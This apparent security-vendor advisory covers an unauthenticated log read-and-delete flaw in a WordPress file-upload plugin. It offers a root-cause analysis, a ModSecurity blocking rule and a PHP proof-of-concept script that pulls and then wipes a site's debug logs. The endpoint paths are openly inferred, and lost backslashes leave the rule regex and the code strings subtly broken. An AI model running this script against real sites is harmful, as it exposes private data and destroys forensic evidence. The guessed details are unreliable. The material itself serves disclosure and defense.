Published : July 2, 2026

CVE-2026-12557: Ninja Forms File Uploads <= 3.3.29 Missing Authorization to Unauthenticated Log Disclosure and Deletion via debug-log/delete-all and debug-log/get-all REST Endpoints PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.3.29
Patched Version
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12557 (metadata-based): This is a missing authorization vulnerability in the Ninja Forms – File Uploads plugin for WordPress, affecting versions up to and including 3.3.29. The plugin exposes REST API endpoints that allow reading and deleting debug log data without any authentication. The CVSS score is 5.3 (medium severity), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating network exploitation with no privileges required but only limited integrity impact (log deletion is categorized as integrity, not availability).

The root cause is identified as CWE-862 (Missing Authorization), meaning the plugin fails to verify that the requesting user has the necessary capabilities before allowing access to the debug-log/get-all and debug-log/delete-all REST endpoints. Based on the description, these endpoints are likely registered in the WordPress REST API as namespace routes under ninja-forms-uploads/v1/ or similar. The plugin probably uses rest_register_route() without any permission_callback, or sets it to a trivial check like ‘__return_true’. This is a common mistake in WordPress REST API development. Since no source code diff is available, Atomic Edge analysis concludes the missing permission_callback is the inferred root cause.

Exploitation requires no authentication, making it trivially accessible to any unauthenticated attacker. The attacker sends a GET request to the debug-log/get-all endpoint to retrieve all plugin debug log entries from the wp_nf3_log table. To delete all logs, the attacker sends a POST or DELETE request to the debug-log/delete-all endpoint. The specific REST route path is likely something like /wp-json/ninja-forms-uploads/v1/debug-log/get-all and /wp-json/ninja-forms-uploads/v1/debug-log/delete-all. No special parameters or nonces are needed because the authorization check is missing. An attacker can use a tool like cURL or a simple browser request to exploit this vulnerability.

The remediation requires the plugin developer to add proper permission checks to both REST API endpoints. This means implementing a permission_callback in the register_rest_route() calls that verifies the user has the appropriate capability, such as ‘manage_options’ for accessing debug logs. The check should also include a nonce verification for state-changing operations like deletion, or at minimum a nonce check combined with the capability check. The fix was applied in version 3.3.30.

The impact of successful exploitation includes two primary risks. First, reading debug log entries can expose sensitive information about the WordPress installation, such as file upload paths, IP addresses, internal plugin errors, and potentially other confidential data captured during debugging. Second, an attacker can permanently delete all debug log data, which may hinder forensic analysis after an incident or disrupt debugging workflows. The CVSS score initially indicates no confidentiality impact, but the ability to read logs does have a confidentiality aspect that may be understated. The integrity impact is limited because log deletion does not modify application data or user content.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-12557 (metadata-based)
# Blocks unauthenticated access to Ninja Forms - File Uploads debug-log REST endpoints
# This rule targets both the read and delete endpoints to prevent exploitation

SecRule REQUEST_URI "@rx ^/wp-json/ninja-forms-uploads/vd+/debug-log/(get-all|delete-all)$" 
  "id:202612557,phase:2,deny,status:403,msg:'CVE-2026-12557 - Unauthorized access to Ninja Forms debug log endpoints',severity:'CRITICAL',tag:'CVE-2026-12557'"

# Alternative rule: block requests without proper authorization headers/nonces (if applicable)
# Since the vulnerability is missing auth entirely for unauthenticated users, blocking the endpoint is sufficient.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12557 - Ninja Forms - File Uploads <= 3.3.29 - Missing Authorization to Unauthenticated Log Disclosure and Deletion via debug-log/delete-all and debug-log/get-all REST Endpoints

// This proof-of-concept demonstrates how an unauthenticated attacker can read all debug logs
// and delete all log entries by accessing the vulnerable REST API endpoints.
// The specific REST route structure is inferred from the plugin's namespace convention.

// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com'; // CHANGE THIS to the target site's URL

// Initialize cURL
$curl = curl_init();

// ---------- Step 1: Read all debug log entries ----------
echo "[Atomic Edge] Attempting to read debug logs...n";

$read_endpoint = $target_url . '/wp-json/ninja-forms-uploads/v1/debug-log/get-all';

curl_setopt_array($curl, [
    CURLOPT_URL => $read_endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_HTTPGET => true,
    CURLOPT_TIMEOUT => 30,
]);

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$error = curl_error($curl);

if ($error) {
    echo "[Error] cURL error: $errorn";
} else {
    echo "[Info] HTTP response code: $http_coden";
    if ($http_code === 200) {
        echo "[Success] Debug log data retrieved:n";
        $data = json_decode($response, true);
        if (json_last_error() === JSON_ERROR_NONE) {
            print_r($data);
        } else {
            echo "[Warning] Response is not valid JSON. Raw output:n$responsen";
        }
    } elseif ($http_code === 404) {
        echo "[Warning] Endpoint not found. Try alternative route paths.n";
    } else {
        echo "[Warning] Unexpected HTTP response. Raw response:n$responsen";
    }
}

// ---------- Step 2: Delete all debug log entries ----------
echo "n[Atomic Edge] Attempting to delete all debug logs...n";

$delete_endpoint = $target_url . '/wp-json/ninja-forms-uploads/v1/debug-log/delete-all';

curl_setopt_array($curl, [
    CURLOPT_URL => $delete_endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_POST => true,  // Assuming POST is required for deletion
    CURLOPT_TIMEOUT => 30,
]);

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$error = curl_error($curl);

if ($error) {
    echo "[Error] cURL error: $errorn";
} else {
    echo "[Info] HTTP response code: $http_coden";
    if ($http_code === 200) {
        echo "[Success] Debug logs deleted successfully.n";
        echo "[Info] Response: " . $response . "n";
    } elseif ($http_code === 404) {
        echo "[Warning] Endpoint not found. Try alternative route paths.n";
    } else {
        echo "[Warning] Unexpected HTTP response. Raw response:n$responsen";
    }
}

curl_close($curl);

// Note: If the endpoints above return 404, the attacker could try alternative paths:
// - /wp-json/nf-uploads/v1/debug-log/get-all
// - /wp-json/ninja-forms-uploads/debug-log/get-all (without version)
// - /wp-json/ninja-forms-uploads/v1/debug-log/get-all/
// The exact route is inferred from the plugin slug and common WordPress REST API patterns.
// If a different route is used, adjust the URLs accordingly.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.